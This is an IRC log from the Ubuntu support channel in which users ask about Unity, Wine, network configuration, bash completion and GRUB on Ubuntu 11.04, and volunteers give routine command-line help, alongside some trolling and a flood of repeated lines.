[16:17] <Chipzzz> openntpd is a much better solution for maintaining an accurate clock: sudo apt-get install openntpd
[16:18] <usr13> mado: But make sure your timezone is correct.
[16:18] <miceiken> Hello, so I'm wondering about something, in my previous server setup the directory public_html used to be created for all users, what made that happen, is it an apache module or is it a file I changed and just can't recall it?
[16:18] <Radios> Linux is illegal its breaks several patents just has google found out
[16:18] <ToeKutter> radios.. ha ha u Troll
[16:18] <photon> Radios: we don't care.
[16:18] <InHisName> Screen saver has me frozen with just a mouse arrow working.   What to try now ?
[16:18] <photon> Radios: illegal in what country?
[16:18] <Chipzzz> Radios: Micor$oft's patents, no doubt :/
[16:18] <Jessica903> OH NO!  LINUX ILLEGAL?
[16:18] <compdoc> we're going to use Linux anyway
[16:19] <zizban> Radios, that's a civil fraction. It's not illegal
[16:19] <zizban> but then again, don't feed the troll
[16:19]  * Dr_Willis violates the eula.
[16:19] <Jessica903> sorry, ziz... couldn't help myself
[16:19] <brilldoctor> after following a guide similar to http://news.softpedia.com/news/How-to-Fix-the-Big-and-Ugly-Plymouth-Logo-in-Ubuntu-10-04-140810.shtml (it was a script) my dell vostro now only displays in 1024*768 and unity does not detect the graphics card.  any ideas?
[16:19] <zizban> I hear ya
[16:19] <QuartZo> you guys loving unity, or most of you in classic gnome?
[16:20] <Dr_Willis> brilldoctor:  i always disable plymouth
[16:20] <livingdaylight> guys: I installed wine, and I'm looking for wine configuration tool?
[16:20] <zizban> QuartZo, I love Unity
[16:20] <photon> livingdaylight: Applications > Wine > COnfigure wine
[16:20] <BlouBlou> better gnome
[16:20] <Dr_Willis> QuartZo:  i really have no issues with Unity. other then i keep goind DOWN to where my panel use to be to change apps. :)
[16:20] <Dr_Willis> livingdaylight:  theres a winecfg progrfam installed with wine.
[16:20] <Dr_Willis> !wine
[16:20] <ubottu> WINE is a compatibility layer for running Windows programs on GNU/Linux - More information: https://help.ubuntu.com/community/Wine - Search the !AppDB for application compatibility ratings - Join #winehq for application help - See !virtualizers for running Windows (or another OS) inside Ubuntu
[16:20] <Chipzzz> <-- sticking with gnome
[16:20] <kyodai> How are Mesa 3d development files named in naty ?
[16:20] <brilldoctor> Dr_Willis: what can i do to get ubuntu to reconise the graphics again
[16:21] <ToeKutter> I couldnt get Unity going in VM, or Unity 2D mode either for that.
[16:21] <zizban> As a matter of fact, I installed Unity 2d on my older laptop
[16:21] <Dr_Willis> brilldoctor:  try booting with plymouth tiotally disabled. I have no idea what that script may jhave done.
[16:21] <iggyology> is still working with "Jenk" on my flash drive ubuntu issues
[16:21]  * zizban is a Unity freak of nature
[16:21] <livingdaylight> Dr_Willis, yes, used to find it under applications but having trouble with the new release
[16:21] <usr13> mado: To change / correct your timezone use:    sudo dpkg-reconfigure tzdata
[16:21] <Dr_Willis> livingdaylight:  use the terminal/search feature of the sidebar.
[16:21] <Jenk> iggyology, Please, sir. Your a bit too loud.
[16:21] <html_inprogress> livingdaylight, winetricks i think
[16:21] <zizban> "Unity Freak Of Nature" is the name of my new band
[16:22] <brilldoctor> Dr_Willis: dont think that will make any difference.  if it helps its a intel gma card
[16:22] <Dr_Willis> winetricks is differnt then 'winecfg'
[16:22] <html_inprogress> hi all, just popping in
[16:22] <Dr_Willis> brilldoctor:  I thought those guides were for getting Plymouth working with nvidia cards.
[16:22] <livingdaylight> found it...
[16:23] <html_inprogress> oh so thats  no what his talk about????? well its a try ,,,
[16:23] <livingdaylight> html_inprogress, winetricks is something different still. Requires separate installation
[16:23] <cannonball> Is the Ctrl-Shift-u thing for unicode only in Gnome or is that a standard across all Linux desktops?  What about Windows and Mac?  Or do you need separate apps for that?
[16:23] <livingdaylight> winecfg was what I was looking for, but couldn't remember the name, which made finding it hard.
[16:23]  * Dr_Willis wonders what ctrl-shift U does..
[16:24] <brilldoctor_> Dr_Willis: i didnt realise that!
[16:24] <usr13> Dr_Willis: In firefox it views source code.
[16:24] <html_inprogress> livingdaylight, its WinE based" ,, well im just sayng it maybe youll need it
[16:24] <Dr_Willis> Hmm.. heh cant see ctrl-shift-u doing much of anything  some sort of mode/thing in the terminal
[16:24] <funnylookinhat> Anyone here use Audacious?  I can't seem to resize the playlist window... it keeps jumping around...  lol
[16:24] <html_inprogress> later need it
[16:24] <usr13> Dr_Willis: No, I'm wrong, it's just Ctrl-u
[16:25] <brilldoctor_> Dr_Willis: what should i do? reinstall
[16:25] <zizban> funnylookinhat, I think it's a bug with gtk and Unity because the Gimp acts the same way
[16:25] <brilldoctor_> by the way cntrl + shift is view source in chrome
[16:25] <brilldoctor_> ctrl even
[16:25] <funnylookinhat> zizban, I'm running Classic Gnome on 11.04 - would that still affect it?  Also - POS unity...  >_<
[16:26] <jmkgreen> hm
[16:26] <brilldoctor_> anyone else??
[16:26] <delac> since when has Startup Disk Creator started to ask password for erasing the usb stick? I'm fairly sure this was not happening a few weeks ago...
[16:26] <jmkgreen> I've managed to rescue a broken grub menu after upgrading to natty
[16:26] <brilldoctor_>  
[16:26] <jmkgreen> however I have no console now
[16:26] <jmkgreen> just a cursor
[16:26] <Dr_Willis> brilldoctor_:  most of those scripts/guiides are for the older ubuntu. so they could break all sorts of things in a new release.
[16:26] <jmkgreen> I can ssh in
[16:27] <vooze> Anyone else experienced that unity "freezes" your windows.. I have found a solution to fix it temp: alt f2, open somthing and its back, but anyone else tryed this?
[16:27] <jmkgreen> nothing seems "hung"
[16:27] <brilldoctor_> Dr_Willis: so what should i do? reinstall
[16:27] <Dr_Willis> jmkgreen:  alt-ctrl-f1 through f6 gets to no consoles?
[16:27] <Dr_Willis> brilldoctor_:  maybe easiest fix.
[16:27] <stevd> hello
[16:27] <Dr_Willis> brilldoctor_:  unless the script has some undoo feature
[16:27] <brilldoctor_> ok is it possible to keep data
[16:27] <jmkgreen> Dr_Willis: interesting
[16:27] <jmkgreen> Dr_Willis: only after hitting alt+f1 do I get a console
[16:27] <brilldoctor_> Dr_Willis: tried the uninstall scripy
[16:27] <brilldoctor_> script
[16:28] <usr13> jmkgreen: So none of them work?   Ctrl-Alt-F1 or F2, F3, F4, F5, F6
[16:28] <brilldoctor_> Dr_Willis: is it possible to keep my docs if i reinstall
[16:28] <jmkgreen> usr13: isn't tty1 supposed to come up by default these days?
[16:28] <pwrusr> am trying to add keyboard shortcuts (via system-settings ==> keyboard) but the (+ -) buttuns are dimmed any ideas as to how to fix this ... my user account has admin privledges
[16:28] <stevd> I am having problems with my network card
[16:28] <Dr_Willis> jmkgreen:  seems like its going to the X 'display' which is alt-ctral-f7 by default but X is not running.
[16:29] <jmkgreen> Dr_Willis: this is a headless virtual machine - no X
[16:29] <pwrusr> btw am running natty + gnome3
[16:29] <zulax> i reset unity and unity is back, but the keyboard shortcuts dont seem to work
[16:29] <Dr_Willis> jmkgreen:  then how are you seeing a console at all?
[16:29] <jmkgreen> I'm looking at a vmware console
[16:29] <blink> upgraded to 11.04, removed unity, installed gnome, now I can't select checkboxes, and sometimes clicking buttons fails
[16:29] <Dr_Willis> jmkgreen:  ok in vbox.. :)
[16:29] <Dr_Willis> its not really headless then. just Xless.
[16:29] <brilldoctor_> pwrusr: is there a option to authenticate? (im in windows at the moment due to graphics issues)
[16:29] <brilldoctor_> so cant look
[16:29] <pwrusr> no
[16:29] <jmkgreen> Dr_Willis: just had to rescue it having upgraded from 10.10. This really is not going well
[16:29] <v3nd3tta``> someone knows how to enable the kmix channels and my mic again under lmint 10 kde? (worked under kubuntu 10.04) tried already the alsaconf method, doesn't work.
[16:29] <shreya> "brilldoctor_ ping"
[16:29] <funnylookinhat> blink, Have you tried choosing "Classic Ubuntu" in the gnome login manager... ??  Gnome should have already been installed w/ your upgrade.
[16:30] <Dr_Willis> jmkgreen:  check teh grub options  - seem to recall some 'handoff' option that mentione the console 7, not sure what it really does
[16:30] <brilldoctor_> whys someone going
[16:30] <brilldoctor_> brilldoctor_ ping
[16:30] <Dr_Willis> v3nd3tta``:  linux mint has its own support channels.
[16:30] <pwrusr> brilldoctor_ no
[16:30] <v3nd3tta``> Dr_Willis: but there no one responds
[16:31] <Dr_Willis> v3nd3tta``:  sounds like a good reason to NOT use mint then.
[16:31] <Dr_Willis> we cant support every variant here v3nd3tta``  thats the channel rules.
[16:32] <xocoloto> ola
[16:32] <parcoespin> me qereis chupar el ano
[16:32] <xocoloto> no gracias
[16:32] <mrozieres> ;)
[16:32] <delac> can anyone confirm that it is normal behaviour for Startup Disk Creator to ask for password?
[16:32] <parcoespin> fuck yeakç
[16:32] <syrinx_> !language | parcoespin
[16:32] <ubottu> parcoespin: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[16:32] <Travis-42> is there any way to get Empathy to pop up chat windows when someone messages me? I never notice the small flashing icon on monitor 1 of 3...
[16:33] <html_inprogress> but mint is really big,, and like cuz to ubuntu
[16:33] <Dr_Willis> delac:  it would need sudo rights perhaps to reforamt a filesystem.
[16:33] <parcoespin> fuking mea
[16:33] <parcoespin> mi
[16:33] <syrinx_> hehe
[16:33] <Dr_Willis> html_inprogress:  i find mint rather pointless. but it dosent matter. its not supported here.
[16:33] <delac> Dr_Willis: since when? This is the first time ever I experience this.
[16:33] <Dr_Willis> delac:  let me try it right now
[16:34] <ToeKutter> theres quite a few pretty versions of Linux out there.. but most use Ubuntu
[16:34] <[4-tea-2]> Howdy, someone with knowledge of Unity terminology willing to help me write a better bug report for a Unity problem?
[16:34] <Dr_Willis> delac:  it dident ask for sudo password here when i just started it.
[16:35] <delac> Dr_Willis: well that is what I expected
[16:35] <html_inprogress> dr, and form time to time whos familys are not pointless
[16:35] <Dr_Willis> html_inprogress:  Huh?  dosent matter. Mint discussion is OT :)
[16:36] <Dr_Willis> besides we all know PenGuy Linux is better. :P
[16:36] <html_inprogress> ot ,,, means ?
[16:36] <Sidewinder1> Off topic..
[16:36] <Chipzzz> off topic
[16:36] <Dr_Willis> asking what OT means is OT? :)
[16:37] <Sidewinder1> Yes
[16:37] <html_inprogress> yes
[16:37] <Chipzzz> lol
[16:37] <Sidewinder1> By definition
[16:37] <html_inprogress> overtime ?
[16:37] <Pici> !offtopic
[16:37] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[16:37] <shreya> _shai ping
[16:38] <LAcan> Can anyone tell me how to manually configre a NIC to start on boot instead of when I log in?
[16:38] <xocoloto> fuck yea
[16:38] <Dr_Willis> LAcan:  you are refering to a wireless network card? or a wired one?
[16:38] <html_inprogress> nic? means?
[16:38] <LAcan> Dr_Willis, a wireless one
[16:38] <Chipzzz> network interface card
[16:38] <Sidewinder1> Network Interface Card
[16:39] <cerietke> I recently installed 11.4 when the update manager suggested it, I've now noticed the system will hang during a reboot, while it seems to boot just fine if it starts in a powered down state, I'm not really familiar with Linux/Ubuntu, is perhaps anybody familiar with such an issue?
[16:39] <Travis-42> I want to do a "fresh" install of Ubuntu, but then install the same packages (and remove the same packages) -- is there a good way to do this?
[16:40] <cannonball> Dr_Willis: If you do Ctrl-Shift-U, release, then enter 195, then press Enter, you'll then see ƕ in your console.  It's Gnome's way of allowing you to enter unicode.  I am still very inexperienced when it comes ot unicode entry though.
[16:40] <html_inprogress> xocoloto, theres no cussing
[16:40] <LAcan> Can anyone tell me how to manually configre a wireless NIC to start on boot instead of when I log in?
[16:40] <iggyology> Can an experienced person help me with my flash loaded ubuntu. So far I'm pm'ing Jenk, but we seem to be stalled.
[16:41] <usr13> LAcan: If it is set to dhcp and you uninstall netowrk-manager that should do it.    Or you can switch to wicd
[16:41] <Sidewinder1> html_inprogress, He's already been banned. ;-)
[16:41] <LAcan> !wicd
[16:41] <LAcan> lollo64it, i stumped the bot
[16:41] <LAcan> usr13, what is wicd?
[16:41] <Pici> !info wicd
[16:41] <ubottu> wicd (source: wicd): wired and wireless network manager - metapackage. In component universe, is optional. Version 1.7.0+ds1-6 (natty), package size 7 kB, installed size 56 kB
[16:42] <usr13> Pici: Tnx
[16:42] <samplezt> hey guys, anyone knows how can i put mores deskstops in ubuntu 11.04?
[16:42] <k_sze> On a motherboard with AMI BIOS, should I set the "Plug And Play O/S" option to "Yes" or "No"? Which choice would be optimal?
[16:42] <LAcan> usr13, Pici is that a replacement network manager with more options?
[16:42] <html_inprogress> cannonball, so as if you have a worst problem then windows users,right now
[16:42] <ouyes> add pannel
[16:42] <_jw> morning users, I am trying to get the extra animations to work with 11.04, ie burn, explode, etc.. and anytime I enable the extra animations plugin the launcher no longer works. Is this a known issue or is it me?
[16:42] <usr13> LAcan: Replacement yest
[16:42] <ouyes> samitheberber,
[16:42] <LAcan> usr13, does it have a gui at all?
[16:42] <usr13> LAcan: Yes
[16:43] <ouyes> samplezt, add pannel
[16:43] <LAcan> usr13, also it isnt using dhcp, will that be a problem for wics?
[16:43] <LAcan> wicd
[16:43] <usr13> LAcan: sudo apt-get install wicd ; sudo apt-get remove network-manager
[16:43] <iggyology> Can someone help me with my flash installed ubuntu?
[16:43] <usr13> LAcan: O, so you need static IP?
[16:43] <LAcan> usr13, ya
[16:43] <blink> functor: yeah
[16:43] <iggyology> is pming html_inprogress
[16:43] <blink> rather, funnylookinhat: yeah
[16:44] <LAcan> usr13, does networkmanager basically overule everything i put in /etc/network/interfaces?
[16:44] <Defghanistan> Hello, I am looking for any documention for Ubuntu server MPIO. Can anyone point me in the right direction or give me any useful information?
[16:44] <Pici> Defghanistan: #ubuntu-server perhaps?
[16:45] <Defghanistan> Pici: Thanks buddy  ;)
[16:45] <_jw> morning users, I am trying to get the extra animations to work with 11.04, ie burn, explode, etc.. and anytime I enable the extra animations plugin the launcher no longer works. Is this a known issue or is it me?
[16:45] <Defghanistan> #ubuntu-server
[16:45] <Pici> Defghanistan: /join #channel ;)
[16:45] <usr13> LAcan: No, but for a simple system  you can do away with it and just use the config file
[16:45] <miceiken> Is there any way to search through all files for some text?
[16:45] <Defghanistan> Pici: haha damnit. TY.
[16:45] <Dr_Willis> miceiken:  text IN the file.. grep command
[16:45] <llutz> miceiken: grep -r pattern path/*
[16:46] <LAcan> usr13, well.. is there a way to tell network manager not to config a certain card?
[16:46] <Dr_Willis> miceiken:  text In a filename. find or locate command.
[16:46] <kpettit> miceiken, "grep word files"
[16:46] <miceiken> okay
[16:46] <usr13> LAcan: yes
[16:47] <Dr_Willis> miceiken:  i saw that exact same question asked on the askubuntu site just this week. :)
[16:47] <miceiken> :D
[16:47] <Dr_Willis> for complex searches grep can use regular expressions also. :) which are uber-cool  :P
[16:48] <Blou_Aap> How can I use Classic, instead of Unity
[16:48] <Blou_Aap> ?
[16:48] <test> I have a problem:  minimized xchat disappear from launcher
[16:48] <_jw> I am trying to get the extra animations to work with 11.04, ie burn, explode, etc.. and anytime I enable the extra animations plugin the launcher no longer works. Is this a known issue or is there a way to get them enabled without crashing Unity?
[16:48] <LAcan> usr13, any link or info?
[16:48] <html_inprogress>  I want extra animations  like burn, but is there a pack they all come in?
[16:49] <alphamale> i need some help installing ubuntu on a usbdrive, already running puppy linux and editing the menu.lst file
[16:49] <metalf88011> What's the name of the program that is used when Ubuntu has less than 2GB of free space?
[16:49] <jenk> iggyology, Any progress ?
[16:49] <tjiggi_fo> !classic | Blou_Aap
[16:49] <ubottu> Blou_Aap: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[16:49] <Dr_Willis> html_inprogress:  theres some extra compiz plugins in th repos. not installed byd efault.
[16:50] <Dr_Willis> alphamale:  if you set it up with grub2. you could boot the ubuntu ISO file. :)
[16:50] <alphamale> i have grub4dos now
[16:50] <Dr_Willis> alphamale:  converting the ubuntu syslinux.cfg to lilo.. would be the kind of task.. i would not want to have to do.
[16:50] <alphamale> i dont want to do that either
[16:50] <Dr_Willis> oh using grub1 - that may be easier..
[16:51] <alphamale> i unmounted the iso and copied files to a new partition on the usb
[16:51] <alphamale> got the splash screen then problems
[16:51] <usr13> LAcan: Not really, it would be hard to tell you... click here click there etc.  Easiest way is to remove network manager and use the config file.  Edit /etc/netwrok/interfaces   and set the NIC you want to use to the IP you need to use.  See: http://pastebin.ca/2053860  #An example.
[16:51] <alphamale> i think im close it's just not finding some files
[16:51] <logesh> how can i create a new account
[16:51] <logesh> in xchat
[16:51] <Dr_Willis> logesh:  sudo adduser billgates  (pick a username)
[16:51] <llutz> logesh: sudo adduser
[16:52] <LAcan> usr13, and then interfaces will be used when I boot intead of when I log in?
[16:52] <Dr_Willis> xchat? err.. check the menus..
[16:52] <usr13> LAcan: Yes
[16:52] <alphamale> what is the easiest way to install or run a live iso
[16:52] <LAcan> usr13, ok thanks. I'm go try that
[16:52] <Blou_Aap> awwwww yeah
[16:52] <episteme> hello everyone
[16:53] <mado> sooo usr13 ... am sorry . .. i head to answer the phone and wait for an order ... ... am back now
[16:53] <sary> alphamale: a USB stick.
[16:53] <Blou_Aap> hope they don't remove Gnome in the future
[16:53] <alphamale> i have a usb
[16:53] <Pici> !who
[16:53] <ubottu> As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :)
[16:53] <episteme> i have a quick question. I installed ubuntu desktop edition on my laptop and am curious if its worth it to switch it to the netbook edition
[16:53] <alphamale> i created a partition on it
[16:53] <wendell> como mudar de canal
[16:53] <_jw> I am trying to get the extra animations to work with 11.04, ie burn, explode, etc.. and anytime I enable the animations add-on plugin the launcher stops working. Is this a known issue or is there a way to get them enabled without crashing Unity?
[16:53] <alphamale> do i need to unpack the iso or can i just stick the iso on it
[16:54] <donkeyinspace> hello, when trying to get a iso from a burned ubuntu cd get a file with only + - 100 mb. what is wrong?
[16:54] <Pici> !br | wendell
[16:54] <ubottu> wendell: Por favor, use #ubuntu-br para ajuda em português. Para entrar no canal por favor faça "/join #ubuntu-br" sem as aspas. Para a comunidade local portuguêsa, use #ubuntu-pt. Obrigado.
[16:54] <tjiggi_fo> wendell, /j #canal
[16:55] <mado> usr13, ?
[16:55] <alphamale> i was trying to follow directions from here...https://help.ubuntu.com/community/Installation/FromLinux#Troubleshooting
[16:55] <alphamale> but this line i think caused problems...
[16:55] <alphamale> /casper/vmlinuz boot=casper root=/dev/ram ramdisk_size=1048576 rw
[16:55] <_jw> guess I'm being ignored..
[16:56] <PatrickC_Pre2> will wubi install xubuntu?
[16:56] <alphamale> i dont have a /dev/ram directory in my usb
[16:56] <zizban> _jw what?
[16:56] <LAcan> PatrickC_Pre2, yes
[16:56] <mado> usr13, ... am back ... sorry it took me that long
[16:56] <_jw> I am trying to get the extra animations to work with 11.04, ie burn, explode, etc.. and anytime I enable the animations add-on plugin the launcher stops working. Is this a known issue or is there a way to get them enabled without crashing Unity?
[16:56] <jazzyjef> any cfengine3 experts here
[16:57] <PatrickC_Pre2> ok, thanks
[16:57] <wendell> brigadão ;D
[16:57] <mado> you said something about my hardware-clock ... but how can my clock be wrong? ... mine shows the real time ... the time for e.g. Houston, TX, USA is totally wrong
[16:57] <zizban> _jw, I'm not sure it's officially a bug but I've heard this before
[16:57] <Nirkus> wow. so when you use last.fm, enable its try icon (which is not shown in unity) and close the last.fm windows, the program runs, but there is no way but to attach its launcher permanently if you want to see its windows ever again :D
[16:57] <logesh> how can i create a freenode in xchat.
[16:57] <Nirkus> also, the menu items of last fm are not shown in the top bar of unity
[16:57] <LAcan> logesh, "/j #<channelname>
[16:57] <zizban> logesh, what?
[16:58] <Nirkus> is that a generic issue with qt apps?
[16:58] <zizban> ah someone got it
[16:58] <_jw> I've seen some videos where people have this enabled with unity, just curious.
[16:58] <mado> usr13, (and others) you said something about my hardware-clock ... but how can my clock be wrong? ... mine shows the real time ... the time for e.g. Houston, TX, USA is totally wrong
[16:58] <iggyology> Is there anyone who is very knowledgeable in debugging icons that won't open the app?
[16:59] <iggyology> I'm running into icon's that won't open the app
[16:59] <LAcan> iggyology, ya use "gksudo" instead of just "sudo"
[16:59] <donkeyinspace> hello, when trying to get a iso from a burned ubuntu cd using dd i get a file with only + - 100 mb. anyone knows if im doing something wrong?
[16:59] <LAcan> iggyology, alternately u have to check "Run in Terminal"
[16:59] <logesh> how to create new server in xchat?
[16:59] <iggyology> @LAcan : can you pm me?
[16:59] <LAcan> no
[17:00] <iggyology> ok
[17:00] <zizban> logesh, you want to create a new channel?
[17:00] <logesh> yes
[17:00] <LAcan> logesh, "/j #<channelname>
[17:00] <MethedMan> is there a user friendly equation editor in ubuntu to input discrete math or calculus HW
[17:00] <jmrkill3rgh0st> Anyone having issues connecting to facebook, youtube ,gmail with ubuntu 11.04 ty in advance..
[17:00] <jmrkill3rgh0st> ?
[17:00] <DJones> donkeyinspace: Is the cd a desktop cd, or the minimal install cd? The minimal cd is a download of of only about 100Mb maybe that could be the cause
[17:00] <iggyology> how do I configure the change from sudo to gksudo?
[17:00] <zizban> You create one anytime but for it to stick you need to apply for one
[17:00] <LAcan> MethedMan, OpenOffice + Latex
[17:00] <zizban> ask in #freenode
[17:00] <iggyology> is that something in the system or the icon properties maybe?
[17:00] <LAcan> iggyology, edit the shortcut
[17:00] <chrisgeorge> I was hoping for some help. I upgraded to natty the other day - but all of a sudden ctrl-f does not work to 'find' in any application. I was hoping someone else had this issue and solved it.
[17:00] <pizza333> 1,LIST
[17:00] <mado> jmrkill3rgh0st, ... did you install "flash" ?
[17:00] <donkeyinspace> DJones , it is a desktop cd
[17:01] <iggyology> I'm editing the shortcut...... thanks LAcan. I'll see if this works
[17:01] <MethedMan> LAcan: thank you for your response.  could you please expound on that.
[17:01] <DJones> donkeyinspace: ok, it was just a thought
[17:01] <LAcan> ChrisBuchholz, you can edit your keyboard shortcuts thru the menus
[17:01] <iggyology> How do I get into the properties for an icon?
[17:01] <jmrkill3rgh0st> Well i can see the videos on youtube but not let me log in ..
[17:01] <codingenesis> can anyone say what is the benefit of learning assembly language and learning the computer organization and architecture??
[17:01] <LAcan> MethedMan, install open office and the latex plugin for it through ubuntu software manager
[17:01] <antennaguy> How do I fix the stutter after transcoding with oggconvert from flv to ogg?
[17:02] <jmrkill3rgh0st> So i asumme the flash works perfectly..
[17:02] <zizban> do you have cookies enabled?
[17:02] <MethedMan> LAcan: you are the man.  how about learning functionality?  is there a good guidebook or tutorial?
[17:02] <LAcan> codingenesis, if u want to program PC's, dont bother with assembly language
[17:02] <spankbot> Anyone running 11.04 on a laptop run into a problem when on battery power, the laptop intermittently goes to a black screen and forces a re-login?
[17:02] <Pici> !ot | codingenesis
[17:02] <logesh> where i want to type "/j #<channel name>
[17:02] <ubottu> codingenesis: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[17:02] <LAcan> MethedMan, google is your firend! (i dont use sci notation)
[17:02] <jmrkill3rgh0st> Yes i do have does enable
[17:02] <pizza333> I was hoping for some help. I upgraded to natty the other day - but all of a sudden ctrl-f does not work to 'find' in any application. I was hoping someone else had this issue and solved it.
[17:02] <jmrkill3rgh0st> i even call my isp
[17:02] <pizza333> 1,LIST
[17:03] <jmrkill3rgh0st> u wont believe what they told me
[17:03] <alexUnder> anyone knows how i can run an executable with some variables inside a .sh script ????? (variables like "-b" etc..)
[17:03] <jmrkill3rgh0st> they told couse im using a very advance os it wont let me in
[17:03] <jmrkill3rgh0st> lol
[17:03] <tjiggi_fo> codingenesis, a job with intel or AMD.
[17:03] <pizza333> I'm editing the shortcut...... thanks LAcan. I'll see if this works
[17:03] <pizza333> I'm editing the shortcut...... thanks LAcan. I'll see if this works
[17:03] <pizza333> hmm
[17:03] <FloodBot1> pizza333: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[17:03] <test> hey guys i wanna have offline installation how can i do that?
[17:03] <pizza333> I'm editing the shortcut...... thanks LAcan. I'll see if this works
[17:03] <jmrkill3rgh0st> so i told em know u guys control wut os i have to used
[17:03] <pizza333> 1,LIST
[17:03] <pizza333> donkeyinspace
[17:03] <pizza333> hmm
[17:03] <pizza333> 1,LIST
[17:03] <FloodBot1> pizza333: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[17:04] <Pici> pizza333: I don't know what you're trying to do, but please stop, it is not working.
[17:04] <iggyology> anyone able to tell me how to edit an icon to use gksudo instead of sudo?
[17:04] <pizza333> jmrkill3rgh0st, ... did you install "flash" ?
[17:04] <pizza333> So i asumme the flash works perfectly..
[17:04] <codingenesis> tjiggi_fo: last Q, so if i design computer architecture than i have to design the processor to make it compatible
[17:04] <jmrkill3rgh0st> alexunder use monodev
[17:05] <Pici> codingenesis: This channel is not for general discussion, you've been told this a few times already.
[17:05] <pizza333> can anyone say what is the benefit of learning assembly language and learning the computer organization and architecture??
[17:05] <tjiggi_fo> codingenesis, yes, the processor is part of the architecture
[17:05] <spankbot> pizza333 what's all this extra traffic?  Looks like WOW console command getting dropped on us.. are you trying to cast a spell on this channel?
[17:05] <pizza333> How do I get into the properties for an icon?
[17:05] <pizza333> DJones , it is a desktop cd
[17:05] <lampe2> hey is there a way that gnome when i logout saves the open programms and when i login he open it ?
[17:05] <jmrkill3rgh0st> Yes >pizza i did install flash
[17:06] <alexUnder> jmrkill3rgh0st:  ahmm monodev? :/
[17:06] <donkeyinspace> pizza333 , any solution?
[17:06] <iggyology> Sorry if someone responded to me, but I didn't see it, I'm trying to change the way an icon initiates the opening of it's respective app by switching it from sudo to gksudo. Whatever that means
[17:06] <LAcan> usr13, ok i removed the network manager applet and now I have 0 network connections.. crap
[17:06] <KrisDouglas> Hello, I have a serious problem with an Ubuntu web server. A permission was changed somewhere, and the resulting problem is that no matter how much I chown files and update permissions- apache2 still says forbidden.
[17:06] <LAcan> iggyology, that means u are running the command as root
[17:07] <jmrkill3rgh0st> yes alex it let u build exe so it will run on linux
[17:07] <Bisu[Shield]> I am still in the process of learning doctrine.  In zend I used to do $tableObject->fetchAll( "clause" ) what is doctrine's equivallent?
[17:07] <nemo> Is it just me or is tab completion absolutely useless on 11.04? - like, if you're trying to dig down a long directory tree.  Like. ls -l /v<tab> yields "/var " so you can't do /v<tab>/li<tab>/cl<tab>
[17:07] <LAcan> iggyology, if your shortcut requires it, use gksudo instead of "sudo" in the command part of the launcher
[17:07] <nemo> you have to keep hitting backspace and correcting
[17:07] <MethedMan> LAcan: would prefer not to hop around google trying to find what i need for the next 30 min.  the last equation editor i used was in Microsoft Windows.  not quite ready to make the full jump to latex, but would like to transition smoothly.
[17:07] <nemo> does anyone know where the bash settings to fix this behaviour are? :)
[17:07] <alexUnder> okie m8 thnx, i will google it and see what happens =]
[17:07] <LAcan> iggyology, if however, there is no "sudo" in the lanucher, then u need to create the lanucher and check "Run in Terminal"
[17:08] <Weems> How do I change grub screen resolution on boot? it's too large and my monitor won't display the boot screen
[17:08] <LAcan> Weems, theres a grub editor in the system menu
[17:08] <Ziber> How do I configure wlan0, on ubuntu 10.10 to connect to wpa2/aes wifi?
[17:08] <jmrkill3rgh0st> alex no nedd to google its on the software center it gives u details of the proggy
[17:08] <odinsbane> nemo: I don't get whats different.
[17:08] <nemo> odinsbane: hm. maybe only mine is screwed up
[17:08] <iggyology> @LAcan : can you tell me where to look for sudo?
[17:08] <Weems> LAcan: under what
[17:08] <odinsbane> nemo: they add a space at the end you are say?
[17:08] <nemo> odinsbane: if I type /v<tab>  it completes with "/var " instead of "/var/"
[17:09] <LAcan> iggyology, in the lancher properties under Command
[17:09] <spankbot> nemo, I'm trying to replicate your <tab> problem, no impact here
[17:09] <lampe2> hey is there a way that gnome when i logout saves the open programms and when i login he open it ?
[17:09] <LAcan> Weems, GRUB something
[17:09] <LAcan> Weems, prolly grub editor
[17:09] <llutz> nemo: https://bugs.launchpad.net/ubuntu/+source/bash-completion/+bug/716008
[17:09] <ubottu> Ubuntu bug 716008 in Partner Packaging "strange bahavior on directory completion with bash built-in commands (dup-of: 752193)" [Undecided,Confirmed]
[17:09] <LAcan> lampe2, yes, install tweak ubuntu
[17:09] <ubottu> Ubuntu bug 752193 in acroread (Ubuntu) "Installation of the acroread package causes completion to treat directories like files with some commands" [Undecided,Confirmed]
[17:09] <Weems> I dont have a list for grub
[17:09] <iggyology> I don't know how to get to the launcher properties.
[17:09] <llutz> nemo: sed -i "s/_filedir/_filedir_acroread/" /etc/bash_completion.d/acroread.sh
[17:09] <LAcan> iggyology, right click the icon
[17:10] <lampe2> LAcan, i will look at it thx
[17:10] <nemo> llutz: thanks
[17:10] <Ziber> How do I configure wlan0, on ubuntu 10.10 to connect to wpa2/aes wifi?
[17:10] <gh0st> .
[17:10] <nemo> llutz: that looks like exactly the bug
[17:10] <Bisu[Shield]> am i invisible?  is there a doctrine equivallent to zend's fetchall
[17:10] <nemo> llutz: and unfortunately I need acroread since workplace loves signed PDF docs
[17:11] <iggyology> LAcan, when I right click the only menu options are 1-open a new window, 2-Firefox web browser, and 3 -keep in launcher
[17:11] <llutz> nemo: sed -i "s/_filedir/_filedir_acroread/" /etc/bash_completion.d/acroread.sh                     <- issuing this command should fix it
[17:11] <nemo> llutz: I already did. that's why I said thanks ;)
[17:11] <LAcan> iggyology, are you in openbox or....? what do you mean by "launcher"?
[17:12] <frag4now> hi all. I upgraded to natty narwhal but I prefer "classic ubuntu", but even if I select it on login page I can't see the upper bar with "close button", "minimize button", "maximize button". How can I show it again?
[17:12] <iggyology> if I say "launcher" I mean the icon in the bar on the left side of the screen
[17:12] <phoenixsampras> stupid UPGRADER, crashed my system, i needed to reinstall
[17:12] <iggyology> perhaps I need to understand what launcher means?
[17:12] <MitchM> I'm looking to get the latest PHP version of software (including mod_php) for Ubtunu 8.04LTS, can someone recommend a path/action I need to take to do this?
[17:13] <LAcan> iggyology, so you added a panel...? there are no left side icon bars in native ubuntu (10.10 at least)
